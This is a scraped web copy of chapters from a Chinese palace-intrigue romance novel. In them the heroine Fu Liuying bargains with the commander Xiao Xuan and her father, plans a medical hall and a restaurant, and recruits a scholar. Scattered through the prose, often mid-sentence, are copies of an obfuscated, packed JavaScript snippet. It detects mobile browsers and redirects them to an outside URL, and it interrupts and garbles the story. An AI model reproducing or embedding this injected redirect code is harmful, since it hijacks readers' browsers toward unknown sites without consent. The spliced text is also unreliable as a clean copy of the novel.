她强压下翻涌的心绪，面上竭力维持镇定，点了点头，“傅莽确有提及，他希望我嫁入督主府后，能成为他在督主府的眼睛。” 傅流萤抬起眼，坦然地看向萧玹，“不过，流萤并未应允。” 出乎意料，萧玹并未动怒，反而低低地笑了起来，那笑声在寂静的夜里显得格外幽冷。“下次他若再提。”他倾身向前，面具几乎要贴上傅流萤的鼻尖，气息带着一丝沉水香的冷冽，“答应他。” 傅流萤瞳孔骤缩，惊愕地抬头，“督主？” 萧玹却已伸出手，一把扣住她纤细的腰肢，不容抗拒地将她带入怀中！ 傅流萤猝不及防，身体瞬间僵硬。 隔着几层薄薄的春衫，傅流萤都能清晰地感觉到萧玹那手指上温热的触感。 还有他浑身散发着的那股逼仄的气息，紧紧的包裹着他让人无所遁形。 “傅小姐聪慧过人，”萧玹低沉的声音贴着她的耳廓响起，温热的气息拂过敏感的耳垂，激起一阵细小的战栗。 “难道还看不透本督的用意？”说话间，他扣在她腰间的手掌微微用力，带着薄茧的指腹隔着衣料轻轻摩挲了一下。 那细微的触感如同电流窜过，傅流萤的身体不受控制地轻轻一颤，一股陌生的酥麻感从腰眼瞬间蔓延开来。 第六十三章 双面间谍 “督主是想……”傅流萤的声音带着一丝不易察觉的轻颤，脑中念头飞转，“让我做双面间谍，替督主反过来盯着将军府？” 话一出口，她又觉不对。 以萧玹在将军府的渗透程度，傅莽的一举一动恐怕都在他掌握之中，何需自己这个傅莽并不信任的“嫡女”多此一举？ “呵。”萧玹的轻笑带着一丝玩味，搂在她腰间的手臂却收得更紧，两人身体几乎严丝合缝地贴在一起。 暧昧极了。 傅流萤的身躯紧绷着，显然还不适应这样的暧昧。 萧玹微微侧头，薄唇若有似无地擦过她柔嫩的耳垂，声音压得极低，“傅莽既然想玩，那本督便陪他玩一把更大的，傅小姐这枚棋子的位置正好。” 傅流萤的心跳如鼓，后背瞬间沁出一层冷汗。 这哪里是信任？ 分明是将她置于刀尖火海！ 她猛地用力，挣脱了萧玹的钳制，踉跄着后退几步。 直到腰背重重抵在冰凉坚硬的书案边缘才稳住身形。 “督主对流萤的‘信任’，还真是令人受宠若惊。” 傅流萤深吸一口气，压下翻腾的情绪，抬眸直视萧玹面具后那双深不见底的眼睛，唇边勾起一抹带着挑衅的弧度。 “只是……督主就不怕流萤假戏真做，真的倒向将军府，背叛督主吗？” 萧玹缓缓站直身体，高大的身影在烛光下投下浓重的阴影，将傅流萤完全笼罩其中。 他居高临下地俯视着她，眼神冰冷锐利，如同在审视一件物品。 “傅小姐大可以试试。”他的声音平淡无波，却蕴含着令人胆寒的冷意，无形之中仿佛就能取人性命。 “上一个胆敢背叛本督的人，如今正躺在护城河底，被鱼虾啃噬得面目全非。若傅小姐想步其后尘，本督……不介意成全。” 说话间，萧玹身上无形的压力如同巨石般压下，压的人有些喘不过气来。 哪怕只是轻飘飘的一句话可是话语里的戾气却很重。 傅流萤抬头迎上那道冰冷的目光，嘴角缓缓勾起，“督主说笑了，流萤不敢。流萤与督主有着共同的敌人，自当同心，手刃仇敌，以报多年之恨。” 她微微屈膝，姿态恭谨，眼底深处却是一片冰封的寒潭。 萧玹似乎对她这份“识时务”颇为满意，冰冷的眸光在她脸上扫了片刻，最终化作一声意味不明的轻哼。 “记住你今日的话。” 话音未落，黑色的身影一溜烟，跳出了窗子，眨眼间便融入浓稠的夜色。 只留下一缕冷冽的沉香在空气中若有似无地飘散。 傅流萤紧绷的身体骤然松懈，脱力般靠在冰冷的书案上，后背已被冷汗浸透。 她望着那扇全开的窗户，窗外是将军府沉寂的夜色，一如她此刻深不见底的心绪。 萧玹……他到底在图谋什么？ 不知道为什么，她总觉得萧玹似乎在下一盘大棋。 —— 翌日清晨。 傅流萤正坐在窗边小几旁，慢条斯理地用着一碗清粥，几碟精致小菜。 晨光熹微，映着她温淡精致的侧脸。 “砰”的一声，房门被大力推开，带进一阵冷风。 柳飞燕裹着一件锦缎披风，脸色憔悴，眼底带着浓重的乌青和掩饰不住的繁音。 她风风火火地闯了进来，身后跟着一脸无奈的容佩。 “傅流萤！”柳飞燕的声音因为急切而显得有些尖利，几步冲到傅流萤面前，“你要的嫁妆，我已经连夜让人清点装箱，单子也拟好了！我的明雪呢？你什么时候去求你父亲放她回来？” 傅流萤眼皮都没抬一下，仿佛没听见一般，依旧专注地用银匙搅动着碗里的粥，舀起一小勺，轻轻吹了吹，才送入口中。 动作优雅，从容不迫。 柳飞燕被这彻底的忽视气得胸口剧烈起伏。 她等了片刻，见傅流萤依旧自顾自地吃着，那副云淡风轻的模样彻底点燃了她积压了一夜的焦虑和怒火。 她猛地伸手，一把夺过傅流萤手中的粥碗，重重地顿在桌子上！ 滚烫的粥汁溅出｜ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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现在最重要的就是让大小姐接纳。 怎么一见到大小姐夫人就把这些话忘得一干二净了？ 傅流萤仿佛没看到柳飞燕的失态，拿起帕子擦了擦嘴角，这才将目光重新看她，，语气平淡得没有一丝起伏：“母亲不必着急。父亲昨夜宿在军营，尚未回府。” “待父亲今日回府后，我自会寻个合适的时机，向他陈情，为明雪妹妹求个恩典。” 第六十四章 若是明雪出了事我饶不了你 她顿了顿，看着柳飞燕瞬间亮起又充满狐疑的眼神，慢悠悠地补充道，“若父亲心情尚可，又无其他变故的话……明雪妹妹这两日，应当就能回来了。” 柳飞燕的心像是被一只无形的手攥住，又被高高吊起。 傅流萤的话听着像是应允，可却又充满了不确定的余地，让柳飞燕的一颗心七上八下，怎么也落不到实处。 想到傅流萤之前的种种手段，她更是心惊肉跳，唯恐对方又耍什么花招。 “傅流萤！你最好说到做到！”柳飞燕胸口剧烈起伏，眼中是毫不掩饰的讨厌。 “若是明雪回不来，或者再受半点委屈，我……我绝对不会和你善罢甘休！” 她终究不敢再像以前那样呵斥，所以只敢放一些狠话。 说完，柳飞燕狠狠剜了一眼傅流萤，才在容佩的搀扶下，脚步虚浮地朝外面走去，背影透着说不出的疲惫与怨愤。 看着柳飞燕消失在院门外的身影，傅流萤脸上的平静瞬间褪去，取而代之的是一片冰冷。 她微微皱着眉就像是在沉思着什么。 片刻过后，傅流萤唤过候在一旁的春芽，声音压得极低，带着一丝的冷意，“去，想办法打听一下，昨夜家庙那边，究竟发生了何事。” 能让柳飞燕如此失态，如此迫不及待，甚至不惜天不亮就闯来，傅明雪定然又在那边演了一出“好戏”。 昨天晚上柳飞燕还出于愧疚，多给她添补了一些嫁妆。 可今天早上看她就像是仇人似的。 傅流萤走到窗边，目光投向家庙所在的方向，唇边勾起一抹无声的冷笑。 傅明雪，看来还是低估了你的本事。 不过也好，你回来得越早，这将军府的水，才能搅得更浑。 她转身，目光落在书案上那厚厚的嫁妆单子上，手指缓缓拂过上面罗列的一项项产业名称。 城南十五间铺子，城东五十亩良田…… 这些都是柳飞燕压箱底的宝贝，准备以后给傅明雪做嫁妆的，如今大半落入她手。 可傅流萤眼中并无多少喜色，反而是一片深沉。 将军府表面风光，实则早已外强中干。 她查过府中账目，十几家铺子和良田的收益，远不足以支撑柳飞燕和傅明雪母女这些年挥霍无度的开销。 柳飞燕每月都要从自己的嫁妆里拿出一大笔钱，专门用来填补傅明雪在衣裳、首饰上的惊人花费。 如今柳飞燕的嫁妆被她拿走一半，府中账面上的活钱必然捉襟见肘。 一旦入不敷出，以傅莽和柳飞燕的性子，会找谁填补这个窟窿？ 当然是会去找在外经商的二哥，傅湛。 毕竟二哥在外经商多年这些年手里肯定攒下了不少银钱。 傅流萤的眼神骤然变得锐利如刀。 她要的就是一步步将将军府土崩瓦解，让他们狗咬狗。 绝对不能让傅湛打乱了她的计划。 傅流萤的眸色渐深。 坐拥这些铺面田产只是第一步，如何让它们钱生钱，形成真正属于她的、不受制于人的财源，才是当务之急。 她必须尽快掌握这些产业，摸清状况，找到生财之道，甚至……暗中培植只忠于自己的力量。 “夏婵，”傅流萤的声音淡淡的，“备车。我们去城南。” …… 傅流萤坐在车内，闭目养神，指尖无意识地摩挲着袖中那块温润的令牌。 这是萧玹所给，代表着城南那处宅院医馆的所有权。 车窗外，市井之声清晰可闻。 小贩的叫卖、孩童的嬉闹、车马的轱辘声交织在一起，虽然很嘈杂但是却又很有生机。 傅流萤掀开车帘一角，目光平静地扫过街道两旁林立的商铺。 有绸缎庄、米粮店、酒楼、当铺、药堂……鳞次栉比。 她的目光在几家生意格外兴隆的铺面上停留片刻，又掠过几家门可罗雀的店面，心中飞快地做着盘算。 马车最终在城南一条相对僻静、却又不失整洁的巷口停下。 巷子深处，一座白墙黛瓦、门庭清雅的院落静静矗立。 黑色大门紧闭，门楣上悬着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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实在不行的话就让萧玹直接派人来得了。 傅流萤的目光微闪。 毕竟萧玹找来的人肯定是十分可靠的，而且还可以省下一大笔的雇佣费，一箭双雕。 等下次见到萧玹的时候，跟他提一提。 傅流萤又在宅子里细细转了一圈，对每个房间的用途都做了初步设想。 走到后院时，看到墙便一小片荒芜的土地，傅流萤心中微动。 这里或许可以种些常用的、易于存活的草药？既能节省些成本，也能保证部分药材的纯净。 将庭院的每一处都规划完毕。 傅流萤最后看了一眼这清幽的院落，对夏婵吩咐道，“先找人把这里彻底清扫干净，该修补的地方修补好。所需的家具器物，列个详细的单子给我过目。药材的采买渠道……” 她顿了顿，“这个我来想办法。” 前世在地牢最后几年，她遇到过一个老药商，告诉过她几条质优价廉的药材进货路子。 现在应该能派得上用场。 “是，小姐。”夏婵应下。 离开后，傅流萤并未直接回府，而是让马车绕道，特意去柳飞燕嫁妆单子上列出的那十五间位于城南不同地段的铺面转了转。 她让车夫放慢速度，透过微微掀起的车帘，不动声色地观察着。 有的铺面地段极佳，是经营多年的老字号绸缎庄或酒楼，门庭若市。 门口的伙计忙得热火朝天的，里面还不断的传来吆喝声。 有的位置稍偏，是米粮店或杂货铺，生意也算平稳。 还有两三家，却是门可罗雀，掌柜伙计都懒洋洋地倚在门口打盹，一副半死不活的模样。 傅流萤的目光在那几家生意惨淡的铺面上多停留了一会儿，心中暗自记下位置和招牌。 看来，柳飞燕的嫁妆铺子，经营状况也是良莠不齐。 不过后来柳飞燕补给她的那三间铺子却是地段极好的，客源也很多。 总体来说，这几间铺子加起来盈亏正好平掉。 这可不是她想要的结果。 傅流萤的眸色渐深，她倒是想要开一间酒楼，及酒楼和青楼一体的。 但是里面的人只卖艺不**。 毕竟只有酒楼和青楼是消息最密集的地方。 可如若真的要开一间酒楼那势必要选在繁华的路段。 可目前看来，那些地段都已经被店铺占满了。 如果想要开酒楼，得好好选一下地址了。 傅流萤沉思着，经过一个喧闹的十字街口时，她的目光无意间扫过街角。 那里新开了一家不大的店面，门面朴素，挂着一块崭新的招牌——“墨韵斋”，似乎是卖文房四宝的。 此刻店门刚开，一个穿着洗得发白的青衫书生，正小心翼翼地将一幅字画挂到店外的墙上展示。 那书生身形单薄，侧脸清俊，带着几分书卷气，但眉宇间却有一股掩不住的郁色和坚韧。 傅流萤的目光在那书生身上停留了一瞬，又掠过他挂出的那幅字。 笔力遒劲，风骨嶙峋，颇具大家气象。 傅流萤眼神示意春芽，春芽让车夫停了马车。 傅流萤搭着春芽的手下了车，步履从容地走向墨韵斋。 门口悬挂的竹帘被掀开。 傅流萤看到了内里的装扮。 店内陈设简单，几排原木架子，摆放着各色砚台、墨锭、毛笔与成刀的宣纸。 那青衫书生走进来，双手交叠置于身前，行了一个标准的书生礼，声音不高，却清晰沉稳，“不知小姐需要些什么，文房四宝，宣纸，还有书画，小号虽新开不久，却也尽力搜罗了些尚可入眼的。” 她缓步踱至一排摆放着各色墨锭的架子前，最终停在一块色泽深紫、隐隐透出彩色光泽的墨锭上。 “先生。”她开口，声音如清泉击石，“这是紫玉光墨？” “不错，此墨研磨出来的墨汁落纸如漆，历久弥新，小姐您需要吗？” 傅流萤将那块墨递给他，“给我包起来吧，记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053535|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得包的好看一些我要送人。” “好。” 趁着那书生包装，傅流萤随便逛了逛，最后目光落在了他的身上。 “不知道先生在此处，一月工钱几何？” 顾砚之显然没料到对方会突然问这个，清俊的脸上闪过一丝愕然，随即被窘迫覆盖，他抿了抿唇，声音低了些，“承蒙店主收留，月俸……一两银子。” 傅流萤点了点头，仿佛了然。 “不知先生可有意跟着我？我愿给先生每月三两月俸。” 顾砚之猛地后退一步，似是不敢相信。 三两银子！这几乎是他现在工钱的三倍！ “小姐厚爱，小生惶恐！”他稳住身形，声音陡然拔高了几分，带着一种被冒犯的清高与斩钉截铁的拒绝，“然，小生虽贫寒，亦知大丈夫立于世间，当有所为，有所不为！若小姐欲令小生行那等蝇营狗苟、阿谀奉承，甚或伤天害理、悖逆人伦之事，恕小生万难从命！” 他挺直了腰杆，眼神灼灼，带着读书人特有的孤傲与坚持，一副宁折不弯、贫贱不移的姿态。 店内的空气凝滞。 傅流萤却并未动怒，反而看着他这副如临大敌、随时准备舍身取义的模样，唇边缓缓绽开一抹极淡的笑。 “先生言重了，正当营生而已。” 傅流萤淡淡的开口道，“先生家中，可是有至亲重病缠身？每日汤药，怕是未曾断过吧？” 顾砚之如遭雷击，整个人瞬间僵在原地！ 他瞳孔骤然收缩，难以置信地瞪着傅流萤，嘴唇翕动了几下，才发出干涩颤抖的声音，“你……你如何得知？” 傅流萤的目光扫过他袖口内侧沾染的几点难以洗净的深褐色药渍，语气平静无波，“方才靠近先生时，闻到了。” “当归尾、三七粉、仙鹤草……虽被墨香掩盖，气息极淡，却瞒不过我的鼻子。”她顿了顿，透出一丝了然，“这几味药，主活血化瘀，凉血止血。若我所料不差，令堂所患，应是久咳伤络，痰中带血，病势缠绵，入夜尤甚，可对？” 第六十六章 赠墨 顾砚之的表情由一开始的震惊变成了惊喜。 “这位小姐对家母的病症如此了解，不知可有办法根治家母的病情？” “可治。” 他激动的差点当场就要给傅流萤跪下。 “若是小姐能治好家母的病情，顾某一定为小姐赴汤蹈火在所不辞。” “什么事都能做吗？”傅流萤的嘴角勾了勾。 顾砚之的眼底闪过了一丝的犹豫，随后又变得坚定起来。 “若是小姐真有办法治好家母的病，顾某一定会为小姐的命令是从。” “就不怕我让你做伤天害理的事情了么？”傅流萤的目光落在了顾砚之的身上，带着一丝的玩味。 “若是小姐非要我做伤天害理之事那我一定会以死谢罪。” “我要先生的命有何用，我又不是那**取乐的残暴人。”傅流萤浅浅的笑了笑。 “大丈夫立于世间，确实有所为有所不为，我很欣赏先生的风骨。” 顾砚之抬头对上傅流萤欣赏的眼神，耳尖竟然莫名的红了红。 顾砚之攥着手指，指节泛白，清俊的脸上窘迫与感激交织。 他低头，声音几乎是从喉咙里挤出来的，“小姐……要小生做的，是何等差事？可是……” 他顿了顿，耳根红得滴血，低着头几乎不敢看傅流萤，“可是要小生做那等……供人取乐的营生？” 傅流萤微微一怔，随即忍不住“噗嗤”一声笑了出来。 “先生为何会这么认为？” 她这一笑，如冰雪初融，清冷中带着一丝难得的明媚。 顾砚之被她笑得越发抬不起头，声音更低，细若蚊呐，“小生……小生自持有几分容貌……” 傅流萤这才收敛了笑意，目光认真地在他脸上停留了片刻。 眼前的书生确实生得一副好皮囊。 眉目清俊，鼻梁挺直，下颌线条利落，即便穿着洗得发白的青衫，也难掩那份书卷气蕴出的清俊。 “先生多虑了。”傅流萤声音平静，淡淡的开口道，“我欣赏的是先生的才情与风骨，而非皮相，我要先生做的，是堂堂正正的营生。” 顾砚之猛地抬头，眼中满是难以置信，“当真？” “自然当真。”傅流萤颔首，“我想在城南新开一处酒楼，要的就是先生这等饱读诗书、腹有锦绣之人在楼中吟诗作赋，或是点评书画，偶尔给食客们讲讲古今趣谈，主持些一清雅的诗会。” 这是傅流萤目前能想到的。 至于后续的节目还有待开发。 “仅是如此？”顾砚之有些不可置信。 这么简单一个月就有三两银子可拿？ 吟诗作赋是他最擅长的事情。 “仅是如此。”傅流萤点点头，随即从袖中取出一两碎银，轻轻放在旁边的柜台上。 “我欣赏先生风骨与孝心，这一两银子，权作定金。待先生处理好家中杂务，这个月结束，我自会派人来此寻你，到时候我们再详谈。” 顾砚之低头看着。 一两银子看着不多，可是在现在的顾砚之看来却犹如千斤重一般。 他的喉结滚动了一下，最终深深一揖，声音带着不易察觉的哽咽，“小姐大恩，顾砚之铭记于心！定当竭尽全力，不负所托！” 顾砚之？ 倒是一个挺好听的名字。 “先生言重了。” 说完傅流萤接过墨，付了钱走了。 顾砚之看着傅流萤离去了背影还有些不敢置信。 她就像是仙女似的。 他紧握住手里的银子逐渐变得温热，这才有了一丝真实的感觉。 马车重新驶入喧嚣的街市。 “小姐，咱们回府吗？”春芽轻声问道。 傅流萤指尖摩挲着那方被细棉纸精心包裹的墨锭，受着其温润沉实的质感，目光投向车窗外督主府的方向，摇了摇头。 “去督主府。” 督主府那两扇沉重的黑漆大门，带着一种拒人千里的森然威压。 守门的小厮见是傅家的马车，随后看到傅流萤下车。 “傅小姐请留步！督主今日不见客！”小厮硬邦邦地拦在门前。 傅流萤神色未变，只淡淡道：“劳烦通禀一声，就说傅流萤为谢督主慷慨赠宅，特来致谢。” 小厮皱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055250|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉，犹豫片刻，终究不敢怠慢这位未来的督主夫人，只得转身快步进去通传。 书房内。 萧玹正立于巨大的舆图前，指尖划过一处险峻关隘，眸光幽深莫测。 这处关隘，正是北疆和南疆的交界。 京城近日接二连三混入南疆和北疆的人。 这可不是什么好事。 萧玹的眸色渐深，眼底闪过了一抹不易察觉的冷芒转瞬即逝。 就在这时，小厮来了。 “禀督主，傅家大小姐求见，说是……为谢您赠宅之恩。”小厮站在书房外禀报，大气不敢出。 萧玹的手指在舆图上顿住，缓缓收回。 他转过身，烛光将他投在墙上的影子拉得极长，带着无形的压迫。 “谢我？”低沉的声音在寂静的书房里响起，辨不出喜怒，“让她进来。” 小厮如蒙大赦，连忙退下。 很快他就带着傅流萤到了书房，就立马离开了。 这是傅流萤第一次来萧玹的书房。 没想到他居然会让人把她带到书房。 傅流萤的眸色渐深，一般书房都存放着重要的东西。 这是萧玹对她信任吗？ 还是又是试探。 傅流萤想着，面上却没有表露出任何的情绪。 “臣女见过督主。”她盈盈一礼，姿态恭谨。 萧玹并未让她起身，只是踱步至书案后坐下，目光冷冽，落在她身上。 “傅小姐的谢意，倒是来得快。”他语气平淡，眼底倒是没什么情绪起伏，“不知傅小姐带来了什么重礼，值得你亲自跑这一趟？” 傅流萤听出了他话语里淡淡的嘲讽之意。 这张嘴，还真是气**不偿命。 傅流萤直起身，对上他那双深不见底的眸子，嘴角勾了勾，将手中那方包裹严实的紫玉光墨轻轻放在宽大的书案上。 “督主说笑了，重礼谈不上，不过是方才在街市闲逛，看到了这方墨，想到督主平日批阅公文，或许需要，所以买了下来，特来送给督主，谢督主将那院子赠与流萤做医馆之用。”她声音清越，理由也说得冠冕堂皇。 第六十七章 钓鱼高手 萧玹的目光淡淡地从那方墨锭上扫过，脸上没什么情绪。 他身体微微后靠，修长的手指交叠置于身前，薄唇勾起一个冰冷的弧度。 “俗语说，无事不登三宝殿，傅小姐。”他声音不高，可却冷沉的吓人。 说话时那冰冷的视线扫过来，让人无所遁形。 傅流萤脸上的笑意淡了些许，眼底掠过一丝被看穿的微恼，旋即化为更深的平静。 “看来，督主是怀疑流萤别有用心了。”她微微垂眸，语气淡淡的。 “墨既然已经送到，不敢多扰督主清净，流萤告退。”说罢，傅流萤转过身就要往外走。 “慢着。” 萧玹的声音自身后传来，带着一种不容置喙的命令。 傅流萤脚步顿住，却没有立刻回头。 身后传来细微的动静，是萧玹起身。 他绕过书案，走到旁边的紫檀木茶盘前。 骨节分明的手提起小巧的玉壶，滚烫的水注入天青色的瓷杯，几片碧绿的茶叶在清澈的水中缓缓舒展沉浮。 他将那杯新沏的茶，递到了傅流萤面前。 傅流萤抬头看着热气晕晕下萧玹那张俊脸居然有一些不真切的感觉。 这是何意？ 太阳打西边出来了，萧玹居然会给她端茶倒水。 她可不相信萧玹居然会这么好心。 背地里指不定会憋着什么坏水。 “傅小姐既来了，何必急着走。”他声音里的冷意似乎被热气氤氲得淡了些，“尝尝本督这新得的雪顶含翠。” 傅流萤看着眼前这杯茶。 真正的茶香味扑面而来，确实是难得一见的好茶。 茶是好茶，手也是极好看的手，可这杯茶背后，是试探么？ 傅流萤沉默片刻，终是抬手，指尖不可避免地触碰到他微凉的指尖。 她稳稳地接过了那杯茶。 “谢督主。”她低声道，浅浅啜饮了一口。 入口微涩，回甘却是甜的，唇齿之间弥漫着一股淡淡的茶香味。 “好茶。”傅流萤真心赞了一句，“督主泡茶的手艺，也是绝佳。” “不过是闲暇时的消遣。”萧玹也端起一杯，姿态闲适地踱回书案后坐下，“傅小姐既然来了，便多坐片刻。本督正好有些闲事，想听听你的见解。” 傅流萤依言在离书案不远处的花梨木的椅上坐下。 萧玹并未开口，书房内一时只剩下茶水注入杯盏的细微声音，以及烛芯偶尔爆开的“噼啪”声。 傅流萤等着萧玹开口，可是等了一分又一分他都没有任何要开口的意思。 她有些摸不准萧玹的心思了。 把她留下来又不说话，就默默的在这里喝茶。 她又不是缺这一两盏茶喝。 两盏茶下肚，傅流萤等的有一些难受了。 萧玹的目光偶尔落在她沉静的侧脸上，又缓缓移开，落在摊开的文书上。 他似乎在思索什么，又似乎只是单纯地让她坐在这里。 这种感觉让傅流萤有些折磨。 书房里的气氛有些诡异。 不知道过了多久。 萧玹放下手中的杯盏，发出一声轻微的磕碰声。 “时辰不早了。”萧玹的声音恢复了惯常的疏冷，“傅小姐请回吧。” ？？ 萧玹到底在搞什么！ 让她在这里足足坐了一个时辰，却一句话都没说。 难道是…… 傅流萤皱着眉转身，步态从容地离开了书房。 走出督主府沉重的大门，夏婵连忙上前扶她上车，压低声音不解地问：“小姐，为何……” 她总觉得那位九千岁的举动处处透着古怪。 傅流萤坐进马车，靠在软垫上，微微眯眼，指尖无意识地捻着袖口。 那杯茶的清冽仿佛还萦绕在舌尖。 “留下我，或许是看看我是否沉得住气，又或许另有所图。” 傅流萤声音很轻，带着一丝不易察觉的疲惫，“或许是想帮我。” 傅流萤睁开眼，眸底一片清明冷冽，“回府。” 马车驶入将军府侧门时，已近黄昏。 傅流萤刚踏入芳华院，春芽便快步迎了上来，低声道：“小姐，将军回来了，此刻正在书 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“去送墨。”傅流萤迎着他的目光，语气平静得像在陈述一件再寻常不过的小事，“督主赠了女儿一处宅院做医馆之用，女儿今日逛街，见一方紫玉光墨尚可，便买下送去，以表谢意。” “送墨？”傅莽嗤笑一声，显然半个字都不信，他踱步上前，“傅流萤，你当为父是三岁孩童？萧玹称病多日，闭门谢客，连陛下的探视都挡了回去！今日竟破例见了你，就为了一方墨？” “我听说你在都督府待了足足一个时辰，只是送墨需要这么长的时间？” 他声音陡然拔高，带着怒意，“你们在府中到底做了什么？萧玹是不是根本就没有生病？” 自从萧玹称病，拒不见客之后他明里暗里曾打探过，但是萧玹猴精猴精的，他根本就没有探听到任何有用的消息。 反而他派去的几拨人都悄无声息的消失了。 不用想也知道肯定是萧玹做的。 只是他一直苦于没有证据，不能拿他怎么样。 第六十八章 达成共识 傅流萤却连睫毛都未曾颤动一下。 她甚至微微偏了偏头，唇边勾起一抹极淡、极冷的弧度。 “父亲如此急切……”她声音清泠，带着一丝不易察觉的讥诮，“是想让女儿打探督主的消息？” “这怎么能叫打探！”傅莽厉声打断，眼神闪烁了一下，随即又叹了一口气换上了一副十分关心的语气，“为父与萧督主同朝为官，他久不上朝，闭门不出，为父关心同僚安危，乃是人之常情！你既是他未来的夫人，出入督主府便利，替为父了解些情况，也是理所应当！” 傅流萤静静地听着他这番冠冕堂皇、漏洞百出的说辞，眼底的冷意如同冰封的湖面。 还真是会给自己找借口啊。 脸不红心不跳的说出这番话来。 真的是挺够不要脸的。 她忽然低低地笑了起来，笑声很轻，却带着一种直刺人心的嘲讽。 “父亲，”傅流萤抬起头，目光直视傅莽那双充满算计与虚伪的眼睛，一字一句，清晰无比，“在女儿面前，就不必再装了吧？” 傅莽脸色骤变，就像是被人戳穿了心思一般，有一种被人撕开遮羞布的恼羞成怒，“你！” “父亲心里在想什么，盘算什么，流萤比任何人都清楚。”傅流萤打断他，声音不高，可每一个字都透着冷意。 她直视着傅莽的眼睛，没有丝毫的害怕，淡淡的开口，“父亲想要知道的，无非是萧玹是真病还是装病，他闭门不出是不是在筹谋什么？” “想必父亲派去都督府的人都有去无回吧。” 傅莽的脸色瞬间变得铁青，眼底翻涌起惊怒交加的狂澜。 想他派去的那几个得力手下都被萧玹的人解决了，这对他来说是奇耻大辱。 杀意瞬间弥漫在书房之中。 傅流萤却仿佛毫无所觉，她甚至向前微微倾身，声音压得更低，语气中似乎带着一种冰冷的蛊惑，“父亲，何必动怒？女儿既然姓傅，身体里流着父亲的血脉，无论何时何地，自然都应该……以将军府的利益为先。” “以前是流萤不懂事，辜负了父亲的信任，现在流萤想通了，既然身为将军府的人自然应该为将军府考虑，流萤和将军府是荣辱一体的。” 傅莽的手猛地一紧，死死地盯着傅流萤那双清澈却又深不见底的眼睛。 震惊、怀疑、警惕、权衡……种种复杂的情绪在他眼中飞快地闪过。 这个女儿，他从未真正了解过！ 毕竟这么多年他和傅流萤根本就不亲近。 上次傅流萤想也不想就拒绝了他的要求，这一次突然改口还是在去了萧玹的府中回来改的口，这到底有几分真几分假？ 她此刻的顺从，是真心？还是又一个陷阱？ “你……此话当真？”傅莽的声音带着浓重的怀疑。 他实在是不敢相信傅流萤。 毕竟上次傅流萤可是义正言辞的拒绝了他。 这一次居然会主动提起。 实在让他不得不怀疑傅流萤的目的。 “自然当真。”傅流萤回答得毫不犹豫，脸上甚至带着一丝恰到好处的孺慕与无奈，“只是父亲……” 她话锋一转，语气带上几分恰到好处的委屈与自嘲，“父亲也知，女儿虽顶着将军府嫡长女的名头，可从小到大，在这府中，真正享受过多少嫡长女的尊荣与父亲的关爱？母亲的心，更是从未在我身上停留片刻。” 她微微垂眸，长长的睫羽在眼下投下一小片阴影，掩去眸底真实的冰冷。 “女儿不过是个顶着虚名、被所有人遗忘在角落里的可怜人罢了。如今父亲骤然将如此重任交托于我，要女儿去看着萧玹那等深不可测之人……” 傅流萤抬起头，眼中带着一丝脆弱又倔强的光，直直望进傅莽眼底。 “女儿惶恐，更觉力不从心，若是没有任何的倚仗，仅凭一个空头的傅家大小姐名分，女儿在督主府，如何立足？又如何能真正为父亲分忧，为将军府谋利？” 他瞬间明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061590|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了傅流萤的意思。 这话里话外不就是在问他要东西吗！ 说的这么冠冕堂皇，处处为他着想的样子，不就是谈条件。 还真以为她突然转了性子为将军府考虑起来了。 不过这样也好。 傅流萤要东西反而显得她有几分想为他办事的心思，否则他还真担心傅流萤是欺骗他。 “你想要什么？”傅莽的声音沉了下去，带着审视与一丝不易察觉的急切。 书房内的空气仿佛凝固了。 烛火不安地跳动着，将父女二人的身影投在墙壁上。 傅流萤沉默了片刻，缓缓抬起眼，目光清澈而坚定，“我想要将军府的管家之权，除此之外，听说父亲的私库里新进了不少的宝贝，父亲也知道督主送来了不少的聘礼，若是将军府给不出足量的嫁妆，恐怕会惹人笑话，不如父亲寻一些宝贝送给流萤吧也是给将军府正一些脸面。” “什么？”傅莽瞳孔骤然收缩，几乎以为自己听错了，“管家之权？” 